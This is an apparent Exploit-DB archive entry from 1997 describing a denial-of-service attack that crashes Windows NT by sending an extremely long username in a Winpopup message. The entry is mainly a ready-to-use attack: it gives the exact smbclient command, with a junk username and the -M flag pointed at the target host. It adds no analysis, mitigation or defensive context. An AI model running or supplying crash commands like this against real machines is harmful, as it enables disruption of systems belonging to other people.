Microsoft Windows NT - Crash with an Extra Long 'Username' Denial of Service

EDB-ID:

329


Author:

Fyodor

Type:

dos


Platform:

Windows

Date:

1997-04-01


You can crash an NT box (possibly W95 too) by sending a very long username in a Winpopup message. This is easy to do from UNIX with 'smbclient -U LOTSandLOTSofcrap -M host'.

# milw0rm.com [1997-04-01]